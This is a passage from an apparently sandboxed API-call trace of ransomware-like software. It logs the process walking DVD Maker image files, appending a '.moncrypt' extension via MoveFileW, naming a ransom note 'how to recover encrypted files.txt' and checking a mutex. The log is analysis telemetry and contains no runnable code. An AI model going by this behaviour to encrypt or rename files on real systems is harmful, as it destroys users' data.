Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 0x54e280 [0058.005] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.005] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.005] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.006] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png", dwFileAttributes=0x20) returned 0 [0058.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.006] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png.moncrypt")) returned 0 [0058.006] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0058.006] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.006] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.006] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.006] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.006] GlobalUnlock (hMem=0x44000c) returned 0 [0058.006] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.007] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.007] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.007] GlobalUnlock (hMem=0x44000c) returned 0 [0058.007] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.007] GlobalUnlock (hMem=0x440004) returned 0 [0058.007] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.007] CharLowerBuffW (in: lpsz="decorative_rule.png", cchLength=0x13 | out: lpsz="decorative_rule.png") returned 0x13 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png", cchWideChar=70, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.pngc", lpUsedDefaultChar=0x0) returned 70 [0058.008] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\OldAge\\decorative_rule.pngc", lpUsedDefaultChar=0x0) returned 4 [0058.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 0x54e280 [0058.008] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.008] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.008] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.008] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png", dwFileAttributes=0x20) returned 0 [0058.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.009] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.moncrypt")) returned 0 [0058.009] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.010] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.010] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.010] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.010] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.010] GlobalUnlock (hMem=0x440004) returned 0 [0058.010] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.010] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.010] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.010] GlobalUnlock (hMem=0x440004) returned 0 [0058.010] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.010] GlobalUnlock (hMem=0x44000c) returned 0 [0058.010] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.010] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png", cchWideChar=83, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 83 [0058.011] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\OldAge\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.012] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.012] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.012] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.012] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.012] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0058.012] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.013] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.013] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.013] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.013] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.013] GlobalUnlock (hMem=0x44000c) returned 0 [0058.013] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.013] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.013] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.013] GlobalUnlock (hMem=0x44000c) returned 0 [0058.013] GlobalHandle (pMem=0x559b88) returned 